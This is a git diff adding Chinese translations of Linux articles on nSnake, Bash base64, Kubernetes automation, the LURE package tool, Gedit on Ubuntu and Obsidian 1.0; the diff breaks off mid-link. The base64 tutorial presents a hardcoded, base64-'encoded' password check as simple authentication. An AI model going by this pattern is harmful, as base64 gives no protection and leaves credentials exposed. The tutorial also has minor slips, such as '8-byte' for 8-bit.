https://www.linuxtechi.com/wp-content/uploads/2022/10/ip-addr-route-command-output-ubuntu-server.png diff --git a/published/202210/20221013 Enjoy the Classic Snake Game in Your Linux Terminal.md b/published/202210/20221013 Enjoy the Classic Snake Game in Your Linux Terminal.md new file mode 100644 index 0000000000..8e365e371a --- /dev/null +++ b/published/202210/20221013 Enjoy the Classic Snake Game in Your Linux Terminal.md @@ -0,0 +1,106 @@ +[#]: subject: "Enjoy the Classic Snake Game in Your Linux Terminal" +[#]: via: "https://www.debugpoint.com/snake-game-linux-terminal/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15186-1.html" + +在你的 Linux 终端中玩经典的贪吃蛇游戏 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/28/091539oanrjizald7rzr7a.jpg) + +> 这是你在 Linux 终端中安装和玩经典贪吃蛇的方法。 + +还记得老式手机经典简单的贪吃蛇吗?我记得玩了几个小时。嘿,当时没有其他选择,对吧?智能手机仍未上市。而你所拥有的只有这个。 + +![Nokia 3310 中的旧版贪吃蛇游戏][1] + +但随着时间的推移,贪吃蛇被具有各种选项的更高级的图形游戏所取代。但没有什么能比得上经典贪吃蛇游戏。 + +如果我告诉你,你可以在 Linux 终端中玩这个游戏呢?无论你运行的是 Ubuntu Linux、Fedora Linux 还是 Arch Linux,都无关紧要。该游戏适用于大多数 [发行版][2]。 + +![nsnake - 主菜单][3] + +### 安装 nSnake – Linux 终端的贪吃蛇 + +你可以使用以下方法通过终端安装 [此游戏][4]。 + +对于 Ubuntu、Linux Mint 或其他相关发行版: + +``` +sudo apt install nsnake +``` + +对于 Fedora Linux 和其他: + +``` +sudo dnf install nsnake +``` + +对于 Arch Linux,此游戏可在 [Arch 用户仓库(AUR)][5] 中获得。你可以使用以下步骤安装它。 + +* [设置 Yay AUR 助手][6] +* 然后打开终端并运行以下命令 + +``` +yay -S nsnake +``` + +上面的命令会安装游戏的软件仓库版本,它可能不是最新的。但是,如果你想要最新版本,你可能需要通过 GitHub 编译源代码。我在本页末尾添加了编译说明供你参考。 + +### 玩游戏 + +玩游戏非常简单。在终端中输入 `nsnake`,这将启动游戏。 + +要立即退出,请按 `q`。 + +以下是默认键绑定。 + +* `箭头键` - 移动蛇 +* `q` – 退出游戏 +* `p` – 暂停游戏 + +你还可以通过主菜单以各种方式配置游戏。 + +![nsnake Linux 终端贪吃蛇设置][7] + +完成了,玩吧! + +### 编译 + +要编译最新版本,请在所有 Linux 发行版中使用以下命令。 + +哦,确保你已经安装了 `git` 和 `ncurses-devel`,它们是编译所需的包。 + +``` +git clone https://github.com/alexdantas/nSnake.git +cd nsnake +make +make install +``` + +那么,你喜欢贪吃蛇游戏吗?与其他基于终端的游戏相比,你更喜欢它吗?在下面的评论框中与其他读者分享你的观点。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/snake-game-linux-terminal/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/12/Nokia-3310-with-legacy-snake-game.jpg +[2]: https://www.debugpoint.com/category/distributions +[3]: https://www.debugpoint.com/wp-content/uploads/2021/12/nsnake-Game-Main-Menu.jpg +[4]: https://github.com/alexdantas/nsnake +[5]: https://aur.archlinux.org/packages/nsnake/ +[6]: https://www.debugpoint.com/2021/01/install-yay-arch/ +[7]: https://www.debugpoint.com/wp-content/uploads/2021/12/nsnake-Linux-Terminal-Snake-Game-Settings.jpg diff --git a/published/202210/20221013 Learn Bash base64 Encode and Decode With Examples.md b/published/202210/20221013 Learn Bash base64 Encode and Decode With Examples.md new file mode 100644 index 0000000000..c69b31a88a --- /dev/null +++ b/published/202210/20221013 Learn Bash base64 Encode and Decode With Examples.md @@ -0,0 +1,161 @@ +[#]: subject: "Learn Bash base64 Encode and Decode With Examples" +[#]: via: "https://www.debugpoint.com/bash-base64-encode-decode/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15189-1.html" + +通过示例来学习 Bash base64 的编码和解码 +====== + +> 你想了解 Base64 编码和解码的方法吗?在本教程中,我们使用 Bash shell 脚本和各种示例解释了 Base64 编码和解码步骤。 + +![](https://img.linux.net.cn/data/attachment/album/202210/29/163350mde5lll86j6lspln.jpg) + +Base64 编码方法可以将二进制数据转换为文本,如此编码数据可以在任何通信媒介进行传输。这种编码方法主要用于电子邮件加密的过程。 + +总体而言,Base64 编码方法是一种二进制到文本的编码方案,以 ASCII 字符串格式表示 8 字节的二进制数据。使用这种编码方法在各种媒介之间传输数据时有几个优势,尤其是对于那些能可靠地支持文本内容的媒介。因此,Base64 编码方法在万维网上被广泛使用。这种编码方案最常用于电子邮件附件的编码上。 + +根据 Base64 编码表,二进制数据可以经 Base64 编码后可以转换为 64 个不同的 ASCII 字符,包含大写字母 `A` 到 `Z`,小写字母 `a` 到 `z`,数字 `0` 到 `9`,以及符号 `+` 和 `/`,这些字符在传输和打印上十分便捷。 + +这 64 个 ASCII 字符代表着从 `000000` 到 `111111` 的二进制值。每个非末尾的 Base64 编码字符恰好代表 6 位二进制值。 + +![Base64 Index Table][2] + +### Bash base64 的编码和解码 + +#### 句法 + +在我们提供示例之前,首先介绍 Base64 的基本语法。 + +``` +base64 [OPTIONs] [INFILE] [OUTFILE] +``` + +- 选项(`Option`):参照下面的表格,你可以提供任何的选项或组合多个选项。 +- 输入(`INFILE`):你可以从标准输入(如命令行)或文件中输入。 +- 输出(`OUTFILE`):你可以将输出重定向到标准输出,如终端或文件中。 + +| 选项 | 描述 | +| :- | :- | +| `-e` 或者 `--encode` | 此选项用于对标准输入的数据或从文件中读入的数据进行编码。这是默认选项。 | +| `-d` 或者 `--decode` | 此选项用于对标准输入的数据或从文件中读入的已 Base64 编码数据进行解码。 | +| `-n` 或者 `--noerrcheck` | 默认情况下,Base64 在解码数据时,会自动检查是否有错误。你可以使用该选项在解码时忽略检查。 | +| `-i` 或 `--ignore-garbage` | 此选项用于在解码时忽略非字母字符。 | +| `-u` 或者 `--help` | 此选项用于获取有关使用此命令的信息。 | + +#### 示例 1:基本编码 + +在 Linux 中,默认已安装好 Base64 软件包。因此,你可以轻松地从命令行使用 Base64。要对一个字符串或文本进行编码,你可以通过管道将其传递到 `base64` 命令,并获取待编码的文本。在下面的示例中,对字符串 `debugpoint.com` 进行了 Base64 编码。 + +``` +echo "debugpoint.com" | base64 +``` + +![bash base64 encode and decode - example 1][3] + +结果是经过 Base64 编码后的字符串。 + +#### 解释 + +Base64 编码方法使用下面的几个步骤来转换输入的数据。首先,每个输入字符转换为 8 位二进制值,接着,二进制字符串拆分为一组组 6 位的二进制值,然后,每个 6 位的二进制值被转换为十进制值。 + +最后,每个十进制值都通过 Base64 编码索引表转换为 Base64 字符。 + +在上面的示例中,第一个字符 `d` 被转换为二进制 `01100100`。前 6 位是 `011001`,转换为十进制是 `25`。`25` 在 Base64 编码索引表中对应着 `Z`。整个输入的文本流都像如此编码。请参阅以下编码过程的示例。 + +![Base64 Encode and Decode – inner working][4] + +#### 示例 2:基本解码 + +要解码字符串,需要将编码值传递给 `base64` 命令,选项为 `--decode`,它将输出你之前输入的字符串。 + +![bash base64 encode and decode - example 2 (decode the same example)][5] + +#### 示例 3:对文本文件进行编码 + +示例 1 中的同一命令也可用于编码文本文件,并将输出重定向到另一个文本文件。方法如下。 + +``` +base64 example3.txt > example3-encoded.txt +``` + +![Encode a text file][6] + +#### 示例 4:对文本文件进行解码 + +要解码使用 Base64 编码的文本文件,只需使用 `--decode` 或 `-d` 选项,并传递文本文件名。 + +``` +base64 -d example3-encoded.txt +``` + +#### 示例 5:对用户输入的数据进行编码 + +使用 Bash shell 编程,你可以通过终端接收用户的输入,并对其进行 Base64 编码。你需要先编写一个简单的 shell 脚本,并在授予可执行权限后执行。 + +以下就是一个简单的示例,它从用户那里获得输入,然后进行 Base64 编码,最终显示编码的字符串。 + +``` +#!/bin/bash +#Sample program to take input, encode to base64 and display on terminal +#Example by www.debugpoint.com +echo "Enter text for encoding to base64:" +read input_text +output_text=`echo -n $input_text | base64` +echo "The Base64 Encoded text is: $output_text" +``` + +![Custom input - base64 encode and decode using script][7] + +#### 示例 6:用 Base64 进行简单的身份认证 + +你可以运用上述的编码和解码方法,实现一个简单的身份验证系统。你可以让用户输入密码或密码,然后将密码存储在文件中。或者进行实时比较。 + +如果存储的编码字符串与用户输入的文本再编码的字符串相匹配,则用户可以通过验证。虽然这是一种检查身份验证的很简单的方法,但有时这对一些简单的业务案例很有用。 + +``` +#!/bin/bash +#Sample program to take input, encode to base64 and display on terminal +#Example by www.debugpoint.com +echo "Type your password" +read pwd1 +decoded_text=`echo 'U2lsZW5jZSBpcyBnb2xkZW4h' | base64 --decode` +if [[ $pwd1 == $decoded_text ]] +then + echo "You are a valid user." +else + echo "You are NOT a valid user." +fi +``` + +![A Simple Authentication using bash base64][8] + +### 总结 + +我希望你能通过这些示例,学会 [Base64][9] 编码和解码的基础知识。此外,你也了解到 Base64 的内部编码方式。如果这对你很有帮助,或你还需要有关此主题的其他教程,请在下面的评论区中告诉我吧。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/bash-base64-encode-decode/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/11/base64example-1024x576.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/11/Base64-Index-Table.png +[3]: https://www.debugpoint.com/wp-content/uploads/2021/11/bash-base64-encode-and-decode-example-1.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2021/11/Base64-Encode-and-Decode-inner-working.png +[5]: https://www.debugpoint.com/wp-content/uploads/2021/11/bash-base64-encode-and-decode-example-2-decode-the-same-example.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/11/Encode-a-text-file.png +[7]: https://www.debugpoint.com/wp-content/uploads/2021/11/Custom-input-base64-encode-and-decode-using-script.png +[8]: https://www.debugpoint.com/wp-content/uploads/2021/11/A-Simple-Authentication-using-bash-base64.png +[9]: https://linux.die.net/man/1/base64 diff --git a/published/202210/20221014 Can Kubernetes help solve automation challenges-.md b/published/202210/20221014 Can Kubernetes help solve automation challenges-.md new file mode 100644 index 0000000000..ff7192f67f --- /dev/null +++ b/published/202210/20221014 Can Kubernetes help solve automation challenges-.md @@ -0,0 +1,72 @@ +[#]: subject: "Can Kubernetes help solve automation challenges?" +[#]: via: "https://opensource.com/article/22/10/kubernetes-solve-automation-challenges" +[#]: author: "Rom Adams https://opensource.com/users/romdalf" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15193-1.html" + +Kubernetes 能否帮助解决自动化挑战? +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/30/105625ocz9sd9z6g4dzb44.jpg) + +> 组织层面的自动化一直是一个难以实现的目标,但 Kubernetes 或许能够改变这一切。 + +当我在 2002 年采用 Gentoo Linux 作为我的主要操作系统时,我开始了我的自动化之旅。二十年后,自动化还没有完成。当我与客户和合作伙伴会面时,他们分享了团队内部的自动化成果,但他们也描述了在组织层面实现类似成功所面临的挑战。 + +大多数 IT 组织都能够端到端地提供虚拟机,从而将过去 4 周的交付周期缩短到仅 5 分钟。这种级别的自动化本身就是一个复杂的工作流程,需要网络(IP 地址管理、DNS、代理、网络区域等)、身份访问管理、[虚拟机管理程序][2]、存储、备份、更新操作系统、应用最新的配置文件、监控、安全和强化以及合规性基准测试,等等。哇,这么多! + +满足高速、可扩展和按需自动化的业务需求并不容易。例如,来看看经典的网上商店或提交纳税申报表的在线政府服务,其工作负载有明确的峰值需要面对。 + +处理此类负载的一种常见方法是拥有一个超大的服务器集群,以供 IT 专业人员的特定团队使用,监控客户或公民的季节性涌入。每个人都希望及时部署整个栈。他们希望基础架构在混合云场景的上下文中运行工作负载,使用“构建-消耗-回收build-consume-trash”模型来优化成本,同时从无限弹性中受益。 + +换句话说,每个人都想要乌托邦式的“云体验”。 + +### 云真的能交付吗? + +尚有一线机会,这主要归功于 [Kubernetes][3] 的设计方式。Kubernetes 的指数级普及推动了创新,取代了管理平台和应用的标准传统做法。 Kubernetes 需要使用 “万物皆代码Everything-as-Code”(EaC)来定义从简单的计算节点到 TLS 证书的所有资源的期望状态。Kubernetes 强制使用三种主要的设计结构: + +* 一个标准接口,以减少内部和外部组件之间的整合问题 +* API 优先及仅 API 的方法来标准化其所有组件的 CRUD(创建、读取、更新、删除)操作 +* 使用 [YAML][4] 作为通用语言,以简单易读的方式定义这些组件的所有所需状态 + +这三个关键组成部分基本上是选择自动化平台的相同要求,至少如果你想让跨职能团队轻松采用是这样的。这也模糊了团队之间的职责分工,有助于提高跨越孤岛的协作,这是一件好事! + +事实上,采用 Kubernetes 的客户和合作伙伴正在加速进入超自动化状态。Kubernetes 有机地推动团队采用多种 [DevOps 基础和实践][5],如:EaC、[使用 Git 进行版本控制][6]、同行评审、[文档即代码][7]Documentation as Code,并鼓励跨职能协作。这些实践有助于提高团队的自动化技能,并帮助团队在处理应用生命周期和基础架构的 GitOps 和 CI/CD 管道方面取得良好的开端。 + +### 让自动化成为现实 + +你没看错!网络商店或政府报告等复杂系统的整个栈可以用清晰、可理解、通用的术语定义,可以在任何本地或云提供商上执行。可以定义具有自定义指标的自动伸缩器以触发所需栈的即时部署,以解决季节性高峰期间客户或市民的涌入问题。当指标恢复正常,且云计算资源不再有存在的理由时,你将它们回收并恢复常规运营,而由一组核心资产在本地接管业务,直到下一次激增。 + +### 鸡和蛋的悖论 + +考虑到 Kubernetes 和云原生模式,自动化是必须的。但它提出了一个重要的问题:一个组织可以在解决自动化战略之前采用 Kubernetes 吗? + +似乎从 Kubernetes 开始可以激发更好的自动化,但这并不是一个一成不变的结论。工具不是对技能、实践和文化问题的解决方案。但是,设计良好的平台可以成为 IT 组织内学习、变革和跨职能协作的催化剂。 + +### 开始使用 Kubernetes + +即使你觉得自己错过了自动化列车,也不要害怕从简单、不复杂的栈上开始使用 Kubernetes。当你 [掌握了初始步骤][8],就可以拥抱这个出色的编排系统的简单性,并根据更复杂的需求进行迭代。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/kubernetes-solve-automation-challenges + +作者:[Rom Adams][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/romdalf +[b]: https://github.com/lkxed +[2]: https://www.redhat.com/en/topics/virtualization/what-is-a-hypervisor?intcmp=7013a000002qLH8AAM +[3]: https://www.redhat.com/en/topics/containers/what-is-kubernetes?intcmp=7013a000002qLH8AAM +[4]: https://opensource.com/article/21/9/yaml-cheat-sheet +[5]: https://opensource.com/resources/devops +[6]: https://opensource.com/life/16/7/stumbling-git +[7]: https://opensource.com/article/21/3/devops-documentation +[8]: https://opensource.com/article/17/11/getting-started-kubernetes diff --git a/published/202210/20221014 First Look at LURE! Bringing AUR to All Linux Distros.md b/published/202210/20221014 First Look at LURE! Bringing AUR to All Linux Distros.md new file mode 100644 index 0000000000..34ab9e141c --- /dev/null +++ b/published/202210/20221014 First Look at LURE! Bringing AUR to All Linux Distros.md @@ -0,0 +1,132 @@ +[#]: subject: "First Look at LURE! Bringing AUR to All Linux Distros" +[#]: via: "https://news.itsfoss.com/lure-aur/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15151-1.html" + +LURE 初窥!将 AUR 带入所有 Linux 发行版 +====== + +> LURE 是一个新的开源项目,它希望成为所有发行版的 AUR。 + +![LURE 是一个新的开源项目,它希望成为所有发行版的 AUR!][1] + +AUR(Arch 用户仓库Arch User Repository)是一个由社区驱动的基于 Arch 的 Linux 的发行版仓库。 + +**简而言之:** 它可以帮助你安装官方仓库中没有的软件包,并让你获得最新的版本。 + +我发现它对我在 [Manjaro Linux][2] 上的体验很有帮助。 + +从技术上讲,AUR 从源头构建一个软件包,然后利用软件包管理器(`pacman`)来安装它。 + +你也可以在我们的详细指南中探索更多关于它的信息。 + +> **[什么是 AUR? 如何在 Arch 和 Manjaro Linux 中使用 AUR?][3]** + +📢 现在你对 AUR 有了一个基本的了解,有一个 **新的开源项目** 旨在将 AUR 的功能带到所有的发行版中。 + +这个项目被称为 “Linux 用户仓库Linux User REpository”(LURE)。 + +> 💡 LURE 项目正处于 alpha 阶段,由创建者在几周前宣布。所以,它完全是一个正在进行的工作。 + +### 已经有这样的项目了? + +![lure 添加仓库][5] + +**没有。** + +开发者们已经尝试做一个 AUR 的替代品,但是是针对特定的发行版。就像 [makedeb 软件包仓库][6] 是针对 Debian 的。 + +LURE 是一个雄心勃勃的想法,可以在你选择的任何发行版上工作。 + +它试图成为一个帮助你使用类似于 `PKGBUILD` 的脚本为你的发行版创建原生软件包的工具。 + +> **[创建 PKGBUILD 为 Arch Linux 制作软件包][7]** + +开发者在 [Reddit 公告帖子][9] 中提到了一些技术细节: + +> 我的项目叫 LURE,是 “Linux 用户仓库”的简称。它构建原生软件包,然后使用系统软件包管理器安装它们,就像 AUR 一样。它使用一个类似于 AUR 的 `PKGBUILD` 的构建脚本来构建软件包。 +> +> 它是用纯 Go 语言编写的,这意味着它在构建后没有任何依赖性,除了一些特权提升命令(`sudo`,`doas` 等等)和任何一个支持的软件包管理器,目前支持 `pacman`、`apt`、`apk`(Alpine Linux 上,不是安卓)、`dnf`、`yum` 和 `zypper`。 + +**听起来很棒!** + +> **[LURE 项目Repo][10]** + +你也可以在它的 [GitHub 镜像][11] 上探索更多信息。 + +### 使用 LURE + +你不必安装一个额外的软件包管理器来使它工作,它可以自动与你系统的软件包管理器一起工作。 + +因此,如果它在其仓库(或任何其添加的仓库)中没有找到一个包,它就会转到系统的默认仓库,并从那里安装它。就像我用 `lure` 命令在我的系统上安装/移除 `neofetch` 一样。 + +![lure neofetch remove][12] + +虽然该项目处于早期开发阶段,但它为各种发行版提供了 [二进制包][13],以让你安装和测试它们。 + +![][14] + +目前,它的仓库包括一个来自创建者自己的项目。但你可以尝试添加一个仓库并构建/安装东西。 + +为了方便起见,我试着在它的仓库中安装软件包。 + +![][15] + +命令看起来像这样: + +``` +lure in itd-bin +``` + +在它的 [官方文档页面][16],你可以读到更多关于它在构建/安装/添加存储库方面的用法。 + +未来版本的一些计划中的功能包括: + +* 自动安装脚本 +* 基于 Docker 的自动测试工具 +* 仓库的网页接口 + +### 让它变得更好 + +嗯,首先,这是一个优秀的项目。如果你是过去使用过 Arch 的人,或者想离开 Arch Linux,这将是一个很好的工具。 + +然而,对于大多数终端用户和非 Arch Linux 新手来说,像 [Pamac GUI 软件包管理器][17] 这样的软件包管理器支持 LURE 应该是锦上添花的。 + +当然,在目前的阶段,它需要开源贡献者的支持。所以,如果你喜欢这个想法,请随时为该项目贡献改进意见 + +*💭 你对 LURE 有什么看法?请在下面的评论中分享你的想法! * + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/lure-aur/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/LURE-aur-for-all-linux-distros.jpg +[2]: https://news.itsfoss.com/manjaro-linux-experience/ +[3]: https://itsfoss.com/aur-arch-linux/ +[4]: https://itsfoss.com/aur-arch-linux/ +[5]: https://news.itsfoss.com/content/images/2022/10/lure-repos.png +[6]: https://mpr.makedeb.org +[7]: https://itsfoss.com/create-pkgbuild/ +[8]: https://itsfoss.com/create-pkgbuild/ +[9]: https://www.reddit.com/r/linux/comments/xq09nf/lure_aur_on_nonarch_distros/ +[10]: https://gitea.arsenm.dev/Arsen6331/lure +[11]: https://github.com/Arsen6331/lure +[12]: https://news.itsfoss.com/content/images/2022/10/lure-neofetch-rm.png +[13]: https://gitea.arsenm.dev/Arsen6331/lure/releases/tag/v0.0.2 +[14]: https://news.itsfoss.com/content/images/2022/10/lure-binaries.jpg +[15]: https://news.itsfoss.com/content/images/2022/10/lure-test.png +[16]: https://github.com/Arsen6331/lure/blob/master/docs/usage.md +[17]: https://itsfoss.com/install-pamac-arch-linux/ diff --git a/published/202210/20221014 Install Gedit on Ubuntu 22.10 and Make it Default Text Editor.md b/published/202210/20221014 Install Gedit on Ubuntu 22.10 and Make it Default Text Editor.md new file mode 100644 index 0000000000..a4ea73de8f --- /dev/null +++ b/published/202210/20221014 Install Gedit on Ubuntu 22.10 and Make it Default Text Editor.md @@ -0,0 +1,113 @@ +[#]: subject: "Install Gedit on Ubuntu 22.10 and Make it Default Text Editor" +[#]: via: "https://itsfoss.com/install-gedit-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15194-1.html" + +在 Ubuntu 22.10 上安装 Gedit 并将其设为默认文本编辑器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/30/124029bf0qjklphcpzpclh.jpg) + +[GNOME 有了一个全新的文本编辑器][1],以取代旧的 Gedit 编辑器。 + +虽然 GNOME 42 已经可以使用了它,但 Ubuntu 22.04 还依赖于 Gedit。 + +这在 Ubuntu 22.10 中发生了变化。 GNOME 文本编辑器Text Editor 现在是默认程序,甚至没有安装 Gedit。 + +![搜索文本编辑器只出现 GNOME 文本编辑器][2] + +虽然新编辑器足够好,但并不是每个人都喜欢它。如果你将 Gedit 与其他插件一起频繁使用,则尤其如此。 + +如果你属于这类人,让我向你展示如何在 Ubuntu 上安装 Gedit。我还将分享如何将其设为默认文本编辑器。 + +### 在 Ubuntu 上安装 Gedit + +这实际上是不费吹灰之力的。虽然默认未安装 Gedit,但它仍然可以在 Ubuntu 仓库中找到。 + +所以,你所要做的就是使用 `apt` 命令来安装它: + +``` +sudo apt install gedit +``` + +Gedit 也可以在软件中心中找到,但它是 Snap 包。如果你愿意,你可以安装它。 + +![Gedit 也可以在 Ubuntu 的 Snap 商店中找到][3] + +#### 安装 Gedit 插件(可选) + +默认情况下,Gedit 为你提供访问一些插件的选项。你可以从 “汉堡菜单->偏好Preference->插件Plugins” 启用或禁用插件。 + +![在 Gedit 中访问插件][4] + +你可以在这里看到可用的插件。检查已安装或正在使用的插件。 + +![查看 Gedit 中可用和已安装的插件][5] + +但是,你可以通过安装 gedit-plugins 元数据包将插件选择提升到一个新的水平。 + +``` +sudo apt install gedit-plugins +``` + +这将使你可以访问其他插件,如书签、括号补全、Python 控制台等。 + +![其他 Gedit 插件][6] + +**提示**:如果你发现 Gedit 因缺少底角而显得有些格格不入,你可以安装一个名为 [Round Bottom Corner][7] 的 GNOME 扩展。这将为包括 Gedit 在内的所有应用强制添加圆底角。 + +### 使 Gedit 成为默认文本编辑器 + +好了!你已经安装了 Gedit,但文本文件仍然在双击操作后使用 GNOME 文本编辑器打开。要使用 Gedit 打开文件,你需要右键单击,然后选择“打开方式open with”选项。 + +如果你希望一直使用 Gedit 打开文本文件,你可以将其设置为默认程序。 + +右键单击文本文件并选择“打开方式open with”选项。在此处选择 Gedit 并从底部启用“始终用于此文件类型Always use for this file type”选项。 + +![设置 Gedit 为默认文本编辑器][8] + +### 删除 Gedit + +觉得 Gedit 没达到预期么?这很少见,但我不会评判你。要从 Ubuntu 中删除 Gedit,请使用以下命令: + +``` +sudo apt remove gedit +``` + +你也可以尝试从软件中心卸载它。 + +### 总结 + +GNOME 文本编辑器是下一代从头开始创建的编辑器,它与新的 GNOME 完美融合。 + +对于简单的文本编辑来说已经足够了。然而,Gedit 有一个插件生态系统,赋予它更多功能。 + +对于那些将它广泛用于编码和其他事情的人来说,安装 Gedit 仍然是 Ubuntu 中的一个选项。 + +那你呢?你会坚持使用默认的新文本编辑器还是回到旧的 Gedit? + +--- + +via: https://itsfoss.com/install-gedit-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/gnome-text-editor/ +[2]: https://itsfoss.com/wp-content/uploads/2022/10/text-editor-ubuntu.png +[3]: https://itsfoss.com/wp-content/uploads/2022/10/install-gedit-from-ubuntu-software-center.png +[4]: https://itsfoss.com/wp-content/uploads/2022/10/access-plugins-in-gedit.png +[5]: https://itsfoss.com/wp-content/uploads/2022/10/plugins-in-gedit.png +[6]: https://itsfoss.com/wp-content/uploads/2022/10/additional-plugins-gedit.png +[7]: https://extensions.gnome.org/extension/5237/rounded-window-corners/ +[8]: https://itsfoss.com/wp-content/uploads/2022/10/set-gedit-default.png diff --git a/published/202210/20221014 Notion-like Markdown Note-Taking App -Obsidian- is Out of Beta.md b/published/202210/20221014 Notion-like Markdown Note-Taking App -Obsidian- is Out of Beta.md new file mode 100644 index 0000000000..d86ce1f6c9 --- /dev/null +++ b/published/202210/20221014 Notion-like Markdown Note-Taking App -Obsidian- is Out of Beta.md @@ -0,0 +1,109 @@ +[#]: subject: "Notion-like Markdown Note-Taking App 'Obsidian' is Out of Beta" +[#]: via: "https://news.itsfoss.com/obsidian-1-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15147-1.html" + +类似 Notion 的 Markdown 笔记应用黑曜石推出测试版 +====== + +> 黑曜石 1.0 做了重新设计,带来了有价值的新功能。 + +![类似于 Notion 的 Markdown 笔记软件 Obsidian 推出了测试版][1] + +黑曜石Obsidian 是一款强大的笔记应用,可以用来制作知识图谱,同时还提供 [Notion][2] 类似的功能。 + +在 1.0 更新之前,我们已经有一篇关于它的 [详细文章][3]。 + +黑曜石 1.0 的发布标志着该应用在桌面和移动体验方面的发展迈出了关键一步。 + +> 💡 黑曜石不是一个开源的应用程序,但可以在 Linux 上使用。 + +让我们来看看它的桌面版提供的新功能。 + +### 🆕 黑曜石 1.0 的新功能 + +![黑曜石 1.0][5] + +1.0 版本增加了大量的新功能、主要的视觉变化和错误修复,其中一些亮点包括: + +* 改良的用户界面 +* 新的外观设置 +* 带有标签堆叠的标签功能 +* 大修的主题画廊 +* 各种错误的修复 + +#### 🎨 用户界面的改造 + +![黑曜石 1.0 用户界面][8] + +用户界面已经得到了全面改造,这使得用户体验更加直观和强大。 + +![黑曜石用户界面][9] + +除此之外,黑曜石现在还有一个专门的外观设置部分。它包含了切换显示内联标题、标签标题栏、改变重点颜色等选项的设置。 + +![黑曜石 1.0 外观设置][10] + +#### 带有标签堆叠的标签功能 + +![黑曜石 1.0 的标签][11] + +现在你可以在黑曜石中打开多个标签,并使用热键来帮助你在忙碌的一天中完成多个任务。 + +一个额外的好处是,即使你退出黑曜石,它也会记住你曾经打开的标签和你在这些标签中的活动状态。 + +![黑曜石 1.0 的标签堆叠][12] + +标签也可以分组形成堆叠,并在它们之间进行切换,从而使工作空间变得更加整齐。 + +#### 🛠️ 其他变化 + +其他值得一提的变化包括: + +* 改变缩放级别的能力 +* 改进了黑曜石的同步 +* 内存泄漏修复 +* 用于折叠行的折叠命令 + +你可以通过 [发布说明][13],以及 [发布公告][14] 来了解更多的细节。 + +### 📥 下载黑曜石 1.0 + +你可以到 [官方网站][17] 下载黑曜石 1.0。在手机上,也可以在谷歌应用商店和苹果的应用商店上找到它。 + +为 Linux 用户提供了三个软件包:**AppImage、Flatpak 和 Snap**。 + +开发者还澄清说,他们不会向个人用户收取黑曜石的使用费。 + +*💬 你对黑曜石 1.0 有什么看法?一个值得替代其他记事本的应用程序吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/obsidian-1-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/obsidian-1.png +[2]: https://notion.grsm.io/itsfoss +[3]: https://linux.cn/article-14230-1.html +[5]: https://news.itsfoss.com/content/images/2022/10/Obsidian_1.0.png +[8]: 